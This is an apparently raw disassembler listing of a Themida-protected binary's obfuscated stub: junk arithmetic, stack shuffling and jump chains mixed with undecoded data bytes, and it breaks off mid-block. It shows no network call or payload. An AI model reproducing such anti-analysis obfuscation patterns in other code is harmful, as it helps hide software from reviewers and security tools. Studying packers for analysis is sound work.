loc_552106:				; CODE XREF: Themida_:00554D8Dj
		pop	eax
		push	ax
		mov	al, 89h
		sub	cl, al
		pop	ax
		jmp	loc_54D90F
; ---------------------------------------------------------------------------

loc_552114:				; CODE XREF: Themida_:00554325j
		add	edx, 4
		push	2A01h
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55733E
; ---------------------------------------------------------------------------

loc_55213A:				; CODE XREF: Themida_:005558D1j
		mov	esi, [esp]
		jmp	loc_554FAC
; ---------------------------------------------------------------------------

loc_552142:				; CODE XREF: Themida_:0054D6D9j
		push	7ABCh
		jmp	loc_54EB29
; ---------------------------------------------------------------------------

loc_55214C:				; CODE XREF: Themida_:00557B1Ej
		mov	ebx, 0A026850h
		neg	ebx
		jmp	loc_54DFC3
; ---------------------------------------------------------------------------
		dd 4C181h, 9B680000h, 89000059h, 4BB241Ch, 1000000h, 241C8BD9h
		dd 4C481h, 0C870000h, 0F783E924h, 0C231FFFFh, 0FFA287E9h
		dd 3EBC1FFh, 3EF3F381h,	0FBE946C4h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_552193:				; CODE XREF: Themida_:0054FCF4j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_553DBA
; ---------------------------------------------------------------------------

loc_5521A0:				; CODE XREF: Themida_:00552EE2j
		pop	esp
		push	169Dh
		mov	[esp], edx
		jmp	loc_5516E3
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 65AF0AE3h, 0D03E9h, 0B1E95A00h, 88FFFFE5h, 24148BF1h
		dd 0FFDD17E9h, 0C6852FFh, 8900004Eh, 4EBE2434h,	51189D25h
		dd 1895BE56h, 0EEC14D02h, 0E6D14607h, 8103E6C1h, 553926EEh
		dd 5B41B903h, 47E92B3Bh, 0E900001Eh, 0FFFF9FF8h, 0F3DE95Fh
		dd 65BD0000h, 8139F671h, 2142B5F5h, 50DDF713h, 0C074FCB8h
		dd 58BF575Bh, 81460358h, 0D117F8EFh, 0E8E78130h, 817FCF74h
		dd 2975DCEFh, 5E7C159h,	4EACF781h, 0F8093AAFh, 20B2E95Fh
		dd 248B0000h, 2434FF24h, 582434FFh, 5304C483h, 0FFEC47E9h
		dd 0F6664FFh, 0EC8102B6h, 4, 0E9243C89h, 0FFFFB717h, 2C8BE909h
		dd 4C48324h, 39EDBF57h,	0F92919D4h, 0FFF4E0E9h,	0FCE781FFh
		dd 8166E673h, 0A9DFB3C7h, 5FFB291Bh, 0CB81D3F7h, 6AF919ECh
		dd 0E003F381h, 0DD2931CBh, 46F5875Bh, 68E9F587h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5522A3:				; CODE XREF: Themida_:0054DF88j
		push	dword ptr [esp+4]
		jmp	loc_54E084
; ---------------------------------------------------------------------------

loc_5522AC:				; CODE XREF: Themida_:00556B05j
		mov	[esp], ecx
		push	edx
		push	edi
		push	39A5h
		mov	[esp], esi
		mov	esi, 7A575B89h
		mov	edi, esi
		pop	esi
		mov	edx, edi
		pop	edi
		jmp	loc_553540
; ---------------------------------------------------------------------------

loc_5522C9:				; CODE XREF: Themida_:00554801j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5558D6
; ---------------------------------------------------------------------------

loc_5522E0:				; CODE XREF: Themida_:0054D035j
		push	ecx
		mov	ecx, 339D7701h
		xor	[esp+4], ecx
		pop	ecx
		mov	eax, [esp]
		jmp	loc_552FA2
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFB1ABE9h, 0E9D829FFh, 5C91h
; ---------------------------------------------------------------------------

loc_552300:				; CODE XREF: Themida_:0054E5B5j
		pop	esp
		mov	[esp], edx
		jmp	loc_5577E8
; ---------------------------------------------------------------------------
		db 0B8h, 69h, 47h
		dd 11E96F75h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552313:				; CODE XREF: Themida_:0054FD33j
		push	esi
		push	eax
		push	120C5595h
		mov	eax, [esp]
		add	esp, 4
		dec	eax
		dec	eax
		jmp	loc_554BCD
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 0FFFFD830h, 0C781CF01h, 57097F7Ah, 0E9240C8Bh
		dd 0FFFFE831h, 54243489h, 4C6815Eh, 51000000h, 81E68956h
		dd 4C6h, 4EE8300h, 0E9243487h, 0FFFFEA39h, 3F8368h, 240C8900h
		dd 6122CAB9h, 59C82951h, 39F7E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552376:				; CODE XREF: Themida_:005538A0j
		add	edx, 94E22B7h
		mov	ecx, edx
		pop	edx
		jmp	loc_555A06
; ---------------------------------------------------------------------------

loc_552384:				; CODE XREF: Themida_:0055124Fj
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
aAHs4		db 'aÃhS4',0
		align 2
		dw 1489h
		dd 9E5EE924h, 68FFFFh, 0FF000000h, 52E92434h, 0E9000008h
		dd 0FFFF9E4Ch, 4798E95Ch, 0F0010000h, 8C750B05h, 24348B41h
		dd 0FFDF8FE9h, 242489FFh, 4240483h, 93BD555Ah, 0F7026F27h
		dd 0B8E581D5h, 81031428h, 0EFF7DCC5h, 0FFEA01FEh, 1CE92434h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5523E3:				; CODE XREF: Themida_:005554F4j
		push	ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 4
		add	ebx, 770232F5h
		add	ebx, edi
		push	esi
		jmp	loc_54DAED
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 14B32733h, 0E959CD89h, 0FFFFC171h
; ---------------------------------------------------------------------------

loc_552408:				; CODE XREF: Themida_:005505A2j
		push	dword ptr [esp+4]
		jmp	loc_555057
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 0DFF1E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55241E:				; CODE XREF: Themida_:00557774j
		sub	edx, 5CEE52A8h
		sub	edx, 121D1345h
		add	edx, edi
		add	edx, 121D1345h
		jmp	loc_5540E3
; ---------------------------------------------------------------------------
		db 83h
		dd 815604C4h, 672F242Ch, 815A3554h, 54672FC2h, 0B9515E35h
		dd 429CFE61h, 1D70E9h
		db 0
; ---------------------------------------------------------------------------

loc_552455:				; CODE XREF: Themida_:005514ADj
		mov	edx, [esp]
		jmp	loc_5527A2
; ---------------------------------------------------------------------------

loc_55245D:				; CODE XREF: Themida_:00556626j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		add	eax, [edx]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54FF87
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 6068h, 7058BD55h, 0D5E90C45h, 1FFFFF6h
		dd 0C4EB81FBh, 5F539867h, 4BE56h, 12E90000h, 53FFFFC2h
		dd 0C381E389h, 4, 4C381h, 1C870000h, 81455C24h,	895C91EDh
		dd 2FE58167h, 0E9390466h, 0FFFFF7C3h
; ---------------------------------------------------------------------------

loc_5524CC:				; CODE XREF: Themida_:0054EA0Aj
		pop	edx
		shr	edx, 4
		jmp	loc_55067C
; ---------------------------------------------------------------------------
		db 9, 57h, 1Ch
		dd 9D16E95Ah, 0C281FFFFh, 6F943FA5h, 204DE9h, 0B9F58100h
		dd 1BFFBBDh, 48E95DEEh,	29FFFFA6h, 0D95DE9F8h, 8957FFFFh
		dd 4C781E7h, 0E9000000h, 0FFFF9F3Ah
; ---------------------------------------------------------------------------

loc_55250C:				; CODE XREF: Themida_:0054C951j
		mov	ebp, 4DBE201Bh
		dec	ebp
		xor	ebp, 19062FA1h
		jmp	loc_5535DA
; ---------------------------------------------------------------------------
		db 58h,	81h, 0F7h
		dd 0AF64D2EFh, 0E95F5957h, 5AF3h, 8904EC83h, 92BD242Ch
		dd 53538B72h, 0FFB114E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55253D:				; CODE XREF: Themida_:00551348j
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 0Eh
		jmp	loc_5570CE
; ---------------------------------------------------------------------------
aZBFxgsnr	db 'ºÈ',1Bh,'§\Â:äX£énR',0
		db 0
; ---------------------------------------------------------------------------

loc_55255B:				; CODE XREF: Themida_:00552CD2j
		add	edi, 154A7B8Bh
		add	edi, ebp
		sub	edi, 154A7B8Bh
		pop	ebp
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_54C93F
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E904C483h, 0FFFFC935h, 42474FFh, 0D3EAE95Fh, 8142FFFFh
		dd 0C31DC9C2h, 4EC8144h, 0E9000000h, 379Eh
; ---------------------------------------------------------------------------

loc_5525A0:				; CODE XREF: Themida_:00550D65j
		and	edx, 43CD45BAh
		and	edx, 5DFE6898h
		add	edx, 6A2143FFh
		not	edx
		shr	edx, 5
		sub	edx, 4AED3DBh
		add	ebx, edx
		pop	edx
		jmp	loc_552791
; ---------------------------------------------------------------------------

loc_5525C5:				; CODE XREF: Themida_:0054E9D5j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_54E37F
; ---------------------------------------------------------------------------
		db 58h
		dd 405h, 0DB99E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5525DE:				; CODE XREF: Themida_:00550599j
		not	dl
		sub	dl, 1
		add	dl, 70h
		add	al, 0F1h
		sub	al, dl
		push	edx
		mov	dh, 0F1h
		sub	al, dh
		pop	edx
		jmp	loc_54C3DE
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 40h
		dd 0FF9BF7E9h, 4EC83FFh, 0FFAAD4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552605:				; CODE XREF: Themida_:0054D69Aj
		sub	esi, 75F7F7ECh
		add	ebx, esi
		jmp	loc_54D071
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 7782C281h, 0B951476Bh, 6BF8054Ah, 0FFA363E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552625:				; CODE XREF: Themida_:00557FAAj
		add	bl, 0CAh
		add	bl, ah
		jmp	loc_551248
; ---------------------------------------------------------------------------
		db 66h
		dd 66240C89h, 66C8B60Fh, 0B5E99C51h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55263F:				; CODE XREF: Themida_:00553AA4j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_556345
; ---------------------------------------------------------------------------
		db 81h
		dd 0C17AD9C3h, 81CB0163h, 0C17AD9EBh, 0EB835963h, 241C8704h
		dd 0E924248Bh, 5A11h, 0E92414F7h, 11E0h
; ---------------------------------------------------------------------------

loc_552678:				; CODE XREF: Themida_:00551C44j
		and	eax, ebp
		jmp	loc_557AFD
; ---------------------------------------------------------------------------
		db 1
		dd 0C2815DEAh, 4, 4387E952h, 0C5310000h, 0D3E58158h, 0F7500D42h
		dd 0FE4BE9DDh, 0F180FFFFh, 0F7C68031h, 0EE80CE28h, 0DE2859F7h
		dd 0E934C680h, 3341h, 592434FFh, 9AAE9h
		db 0
; ---------------------------------------------------------------------------

loc_5526BD:				; CODE XREF: Themida_:0054DB2Aj
		shl	ebp, 8
		jmp	loc_54D03A
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFB5A1h, 48B25266h, 50E1E9h, 3C895C00h
		dd 0E9E78924h, 1469h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h
		dd 3224E9h
		db 0
; ---------------------------------------------------------------------------

loc_5526F9:				; CODE XREF: Themida_:0054E3BEj
		mov	ch, 6Ch
		xor	ch, 14h
		add	bl, ch
		jmp	loc_5501A0
; ---------------------------------------------------------------------------

loc_552705:				; CODE XREF: Themida_:005535DDj
		sub	ebp, 54B80F7h
		add	ecx, 78E63028h
		add	ecx, ebp
		sub	ecx, 78E63028h
		pop	ebp
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_552BB7
; ---------------------------------------------------------------------------

loc_552729:				; CODE XREF: Themida_:0055737Ej
		mov	edx, 0CA1F75h
		shr	edx, 5
		add	edx, 38965F6Bh
		jmp	loc_558388
; ---------------------------------------------------------------------------
		dd 2EBF5750h, 89197B40h, 0B650E9F8h, 48FFFFFh, 0EC835C24h
		dd 241C8904h, 137217BBh, 8BD82920h, 8952241Ch, 4EC83E2h
		dd 0B9240C89h, 7ED75AFAh, 5746F181h, 0C1817D20h, 1E853C25h
		dd 192BE9h, 9A72E900h, 0EF81FFFFh, 6190380Ch, 57240C8Bh
		dd 4081E9h
		db 0
; ---------------------------------------------------------------------------

loc_552791:				; CODE XREF: Themida_:005525C0j
		push	edx
		mov	edx, 4
		sub	ebx, 173F67EBh
		jmp	loc_550CF8
; ---------------------------------------------------------------------------

loc_5527A2:				; CODE XREF: Themida_:00552458j
		push	edi
		jmp	loc_54F1EE
; ---------------------------------------------------------------------------
		dd 0F8E9FE01h, 81000056h, 4C6h,	31606800h, 34890000h, 0E228E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5527C2:				; CODE XREF: Themida_:005570D0j
		push	2D74h
		jmp	loc_5534FA
; ---------------------------------------------------------------------------
		dd 0E1E95152h, 0BEFFFFE6h, 202E098Eh, 2D5EF729h, 44F34AB8h
		dd 0B805F829h, 5F44F34Ah, 4EC81h, 2C890000h, 0BE565324h
		dd 6CD1DBEh, 0A339DFBBh, 7BEB8115h, 0E93A2E09h,	12FBh
		dd 0E92434FFh, 0FFFFE1A0h, 2EC81h, 89660000h, 0E8B22414h
		dd 0E9C5E280h, 4E51h, 18D368h, 241C8900h, 2A99E9h, 51D1BF00h
		dd 0EF815600h, 49B4313Dh, 2934E9h
		db 0
; ---------------------------------------------------------------------------

loc_552841:				; CODE XREF: Themida_:0054F27Dj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_54C8F1
; ---------------------------------------------------------------------------

loc_552850:				; CODE XREF: Themida_:0054E5E0j
		xor	edi, edx
		pop	edx
		add	eax, 59785B51h
		add	eax, edi
		jmp	loc_556AF0
; ---------------------------------------------------------------------------

loc_55285F:				; CODE XREF: Themida_:005539B4j
		sub	eax, 765739E2h
		add	eax, edi
		jmp	loc_54D38D
; ---------------------------------------------------------------------------
		db 53h
		dd 4EC81h, 0B1E90000h, 0F6FFFFACh, 2C832CD0h, 0D416E982h
		dd 0BE56FFFFh, 48FD1F5Ah, 0A53ADFBBh, 0A3C38116h, 2972920Dh
		dd 0DE015EF3h, 0FFC073E9h, 66E830FFh, 83240C8Bh, 2C8904ECh
		dd 525D5424h, 4BAh, 0D769E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5528B6:				; CODE XREF: Themida_:00550859j
		push	7FC4h
		jmp	loc_5511C7
; ---------------------------------------------------------------------------
aZSi		db '‡<$\éë,',0
		dd 240C8900h, 76326852h, 2CE90C04h, 0BDFFFFB6h,	217D1F69h
		dd 8108E5C1h, 9A5E78C5h, 7EDC149h, 0FFF75EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5528ED:				; CODE XREF: Themida_:00555CB4j
		add	edi, 323D78A0h
		or	edi, 637E3FC6h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 459A1D4Dh
		push	edi
		mov	edi, 1E85553Ah
		shl	edi, 8
		sub	edi, 45751202h
		xor	esi, edi
		pop	edi
		xor	esi, 290359B6h
		add	edi, 46D2550Fh
		sub	edi, esi
		sub	edi, 46D2550Fh
		jmp	loc_55698F
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0E9E92404h, 81FFFFE7h, 2729B3E9h, 9C29E962h,	8B66FFFFh
		dd 0A2682404h, 0E900003Bh, 44E3h
; ---------------------------------------------------------------------------

loc_552950:				; CODE XREF: Themida_:005530D1j
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_555203
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0C8B241Ch, 4C48124h,	0F7000000h, 0F7C181D1h,	29DEBE20h
		dd 240C8BCAh, 0E904C483h, 0FFFF986Ch
; ---------------------------------------------------------------------------

loc_552988:				; CODE XREF: Themida_:00552A59j
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_554D16
; ---------------------------------------------------------------------------

loc_552994:				; CODE XREF: Themida_:00557F3Cj
		mov	esp, [esp]
		push	32F9h
		jmp	loc_55479E
; ---------------------------------------------------------------------------

loc_5529A1:				; CODE XREF: Themida_:0054C983j
		not	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 24686A96h
		xor	ebx, 50FD0E3Bh
		push	eax
		mov	eax, 9A18CAh
		add	eax, 6DFE4ABEh
		add	eax, 5FD0124h
		sub	ebx, eax
		pop	eax
		push	ebx
		xor	dword ptr [esp], 25B278D6h
		pop	esi
		push	eax
		mov	eax, 44CF7802h
		push	edx
		mov	edx, 0A922CADh
		and	edx, 77A36A54h
		add	edx, 716F29CAh
		jmp	loc_54F78D
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 24040966h, 97F6E99Ch, 0EC81FFFFh,	4, 55E9h
		dd 7EDC100h, 3429E9h, 4AEA8100h, 816BF805h, 6B7782EAh
		dd 0FBF0E947h, 0EA2DFFFFh, 83072A1Dh, 8AE901C0h, 81FFFFA0h
		dd 4C2h, 0A4AAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552A3A:				; CODE XREF: Themida_:0054F878j
		add	esp, 4
		add	ecx, 4
		push	eax
		mov	eax, 2
		add	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_552988
; ---------------------------------------------------------------------------
		dw 1489h
		dd 296A6824h, 0E95A066Dh, 0FFFFFB22h, 0FEE9CA01h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552A73:				; CODE XREF: Themida_:00551187j
		add	ebx, 2
		jmp	loc_557BED
; ---------------------------------------------------------------------------

loc_552A7E:				; CODE XREF: Themida_:00554C11j
		mov	dl, ch
		push	ecx
		mov	cl, dl
		mov	ah, cl
		pop	ecx
		jmp	loc_556151
; ---------------------------------------------------------------------------
		db 5Ch
		dd 9C240430h, 0FF975FE9h, 24C781FFh, 500539B7h,	0C289F889h
		dd 0D5315F58h, 0FFD883E9h, 34EE81FFh, 0E96AF05Ah, 3C90h
; ---------------------------------------------------------------------------

loc_552AB4:				; CODE XREF: Themida_:00553DA4j
		mov	ebx, 2BF46703h
		dec	ebx
		jmp	loc_54D298
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0F2B35351h, 809FF380h, 0EB8005F3h, 80CBFE97h, 0EB80D2CBh
		dd 2864040Ah, 5B642CD8h, 0AEE9D800h, 8B000045h,	89662424h
		dd 27E9241Ch, 53FFFFB6h, 150169BBh, 76F60571h, 0D8016BC1h
		dd 0C176F62Dh, 7F055B6Bh, 0E9402E4Dh, 8B2h
; ---------------------------------------------------------------------------

loc_552B0C:				; CODE XREF: Themida_:0054F34Ej
		push	esi
		mov	esi, 0CB6BAD57h
		add	edx, esi
		pop	esi
		add	edi, edx
		pop	edx
		jmp	loc_550E30
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 0E9530000h, 0FFFF9BA1h, 8924248Bh, 14F72414h, 24148B24h
		dd 0FF9980E9h, 0D9BB53FFh, 0E9112E4Fh, 46F0h, 0B579DABEh
		dd 0A5EE815Eh, 2907C672h, 0BD555EF1h, 3C7E4FE3h, 0FFDA68E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552B5D:				; CODE XREF: Themida_:00553FEFj
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_554A94
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 108468h, 241C8900h, 0B2E7FBBBh, 0E9DF29AFh, 0FFFFEA54h
		dd 59545158h, 4C181h, 20E90000h, 0F7000038h, 0EDC145D5h
		dd 81DDF708h, 0F4A189C5h, 49F6E92Fh, 0B9510000h, 4, 159CD89h
		dd 7DE95DE9h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552BB7:				; CODE XREF: Themida_:00552724j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54D2F1
; ---------------------------------------------------------------------------
		dd 0E904EA83h, 0FFFFB5C1h
; ---------------------------------------------------------------------------

loc_552BC8:				; CODE XREF: Themida_:005516E9j
		push	ebx
		mov	bl, 3Fh
		jmp	loc_556A49
; ---------------------------------------------------------------------------
		dd 2474FF57h, 243C8B04h, 4C481h, 48F0000h, 2C895C24h, 0F072E924h
		dd 0CB80FFFFh, 6EF38047h, 0FFFECAE9h, 241C8BFFh, 0FFAFB2E9h
		dd 0BD55ADFFh, 7EFC0753h, 525DE829h, 68525057h,	69AC17E8h
		dd 50E2815Ah, 0F73AE10Ch, 81DAF7D2h, 0B07B22CAh, 0FBE95149h
		dd 0C1FFFFE2h, 0C38106E3h, 3B38FDF7h, 1E9DA01h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552C37:				; CODE XREF: Themida_:00553F38j
		pop	edi
		jmp	loc_54C1F4
; ---------------------------------------------------------------------------

loc_552C3D:				; CODE XREF: Themida_:005543DCj
		pop	edi
		neg	eax
		inc	eax
		add	eax, 9B60CF63h
		xor	ebx, eax
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_550C5A
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_54E247
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 19h
		dd 81127635h, 4C6F9BC6h, 4D1CE97Ch, 0C9810000h,	593940ABh
		dd 0F181E1D1h, 495370BBh, 0D3C18149h, 896EFB88h, 5FE959CBh
		dd 89FFFFA1h, 0C8682414h, 89000078h, 0C388241Ch, 88D88850h
		dd 0E95B58C6h, 0FFFFD686h
; ---------------------------------------------------------------------------

loc_552CB4:				; CODE XREF: Themida_:00557C80j
		not	ecx
		shl	ecx, 5
		xor	ecx, 0B41D5C0Eh
		or	ebp, ecx
		pop	ecx
		shr	ebp, 4
		inc	ebp
		and	ebp, 30AA341Ch
		sub	ebp, 0A22414h
		jmp	loc_55255B
; ---------------------------------------------------------------------------
		db 81h
		dd 0BBA70DEEh, 5EF70106h, 43E9CF81h, 0EF8111D0h, 6FC66923h
		dd 9E9F801h, 81FFFFF5h,	4ECh, 241C8900h, 0E38017B3h, 4E3C011h
		dd 0CBFED3F6h, 5266D3F6h, 0D320A3B2h, 0EB805A66h, 57E955F3h
		dd 5F000052h, 6654EB81h, 3CE917A2h, 6800004Bh, 3209h, 81242489h
		dd 42404h, 40E90000h, 5FFFFFE1h, 5C24048Fh, 4048E9h, 0FB295D00h
		dd 0FFDC92E9h, 0D3C781FFh, 52389F5Ah, 0C80948BAh, 8BD7291Fh
		dd 89502414h, 405E0h, 0C0830000h, 24048704h, 0EC83FD5Ch
		dd 241C8904h, 62135FBBh, 105A686Fh, 3C890000h, 5BF3BF24h
		dd 0C78138B6h, 34750F73h, 0A51E951h, 0C32D0000h, 1175CF8h
		dd 148758C2h, 0BF16E924h, 0C8BFFFFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_553496
; ---------------------------------------------------------------------------
aHd8		db '\h¤8',0
		dd 24348900h, 0C681E689h, 4, 0FD53E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552DCA:				; CODE XREF: Themida_:005508D4j
		pop	esp
		push	684Fh
		mov	[esp], ecx
		mov	ecx, 8DF44C4h
		shl	ecx, 5
		and	ecx, 30B26665h
		push	ebp
		mov	ebp, 109F0000h
		push	ebp
		jmp	loc_556F78
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 0Eh
		dd 0C12BD44Eh, 0E1C107E1h, 23EEE906h, 4890000h,	4EC8124h
		dd 0E9000000h, 43BCh, 0F1DEE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552E12:				; CODE XREF: Themida_:005568DAj
		pop	edi
		sub	edi, 225562E5h
		jmp	loc_556B79
; ---------------------------------------------------------------------------

loc_552E1E:				; CODE XREF: Themida_:0054FAFFj
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		jmp	loc_54CD7D
; ---------------------------------------------------------------------------
		db 95h
		dd 26EFE435h, 58C729ECh, 8103EFC1h, 953C93F7h, 5FF80165h
		dd 0FD68F801h, 89000055h, 0BE56240Ch, 530117D2h, 0E95EF189h
		dd 23EEh
; ---------------------------------------------------------------------------

loc_552E58:				; CODE XREF: Themida_:0055521Ej
		sub	ebp, 627F7863h
		sub	ebp, edx
		push	edx
		mov	edx, 519244F3h
		xor	edx, 2DA63BF6h
		or	edx, 50202A0Ah
		shr	edx, 8
		neg	edx
		sub	edx, 9D04531Eh
		add	ebp, edx
		pop	edx
		jmp	loc_54DFF8
; ---------------------------------------------------------------------------
		db 38h,	0C1h, 9Ch
		dd 0FF9367E9h, 4C681FFh, 81000000h, 4ECh, 24048900h, 4BF57h
		dd 0F8890000h, 0C729E95Fh, 1CF7FFFFh, 41E99C24h, 58FFFF93h
		dd 0E9B0C380h, 0FFFF9D6Ch, 0A6E9D701h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_552EC3:				; CODE XREF: Themida_:0055706Fj
		xor	ebp, [esp]
		mov	esp, [esp]
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dd 0FFB60DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552ED1:				; CODE XREF: Themida_:0054DEB6j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp]
		jmp	loc_5521A0
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 48904ECh,	48B5424h, 4C48324h, 4BE56h, 0B2D0000h
		dd 0E9418C75h, 0FFFFF4A6h
; ---------------------------------------------------------------------------

loc_552F08:				; CODE XREF: Themida_:00555D50j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		push	esi
		push	3D1B13F5h
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 8
		shl	esi, 8
		jmp	loc_54C717
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 5114342Eh
		push	esi
		mov	esi, 2B8B7214h
		push	eax
		mov	eax, 4D0868C7h
		dec	eax
		push	edi
		mov	edi, 5056DC6h
		xor	eax, edi
		pop	edi
		jmp	loc_554375
; ---------------------------------------------------------------------------

loc_552F4F:				; CODE XREF: Themida_:005557F3j
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_550EA6
		push	dword ptr [edi+1Ch]
		xor	dword ptr [esp], 10051CD9h
		jmp	loc_54CD16
; ---------------------------------------------------------------------------

loc_552F69:				; CODE XREF: Themida_:0055685Fj
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		add	ecx, 62B17CB0h
		push	ecx
		jmp	loc_550A5A
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 0DF685524h, 0E96B975Eh, 0FFFFD5CDh, 28BCC180h, 1A28E9D9h
		dd 0F6810000h, 1FBA3EC7h, 15EF089h, 29AAE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552FA2:				; CODE XREF: Themida_:005522EEj
		add	esp, 4
		push	ecx
		mov	ecx, 6EC45D78h
		sub	ecx, 58DD21A7h
		shl	ecx, 7
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54D30A
; ---------------------------------------------------------------------------

loc_552FBF:				; CODE XREF: Themida_:00555912j
		xor	ecx, 0FB8A71F0h
		jmp	loc_552014
; ---------------------------------------------------------------------------

loc_552FCA:				; CODE XREF: Themida_:0054D36Fj
		mov	esi, esp
		jmp	loc_554E40
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 13h
		dd 5E000024h, 0F7BF5753h, 0BB4FE62Ah, 58444CA1h, 4AC2E9h
		dd 0F8295B00h, 474E502Dh, 243C8B27h, 4C481h, 97350000h
		dd 3153760Dh, 24048BC2h, 4C481h, 0C5810000h, 4B420A94h
		dd 0ED81D501h, 4B420A94h, 2C5835Ah, 31242C33h, 2C33242Ch
		dd 0D3665C24h, 0E99C2404h, 0FFFF91C4h, 8B240487h, 0F7662424h
		dd 5E6866F1h, 14896642h, 2D1FE924h, 0C4830000h,	40504h
		dd 0EC830000h, 24348904h, 2BEh,	0D7BD5500h, 1746E69h, 0E8E95DE8h
		dd 83FFFFD3h, 48904ECh,	5E08924h, 4, 360268h, 242C8900h
		dd 15635BDh, 4A396846h,	7E90000h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_55308B:				; CODE XREF: Themida_:00556790j
		mov	esi, 6AA22B74h
		xor	esi, ecx
		pop	ecx
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5547AC
; ---------------------------------------------------------------------------
		dd 2414875Ch, 9C72E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5530AA:				; CODE XREF: Themida_:0054C2CAj
		mov	esi, 1
		push	edx
		push	24h
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 0ABA4731h
		add	edx, edi
		add	edx, 0ABA4731h
		add	[edx], esi
		push	dword ptr [esp]
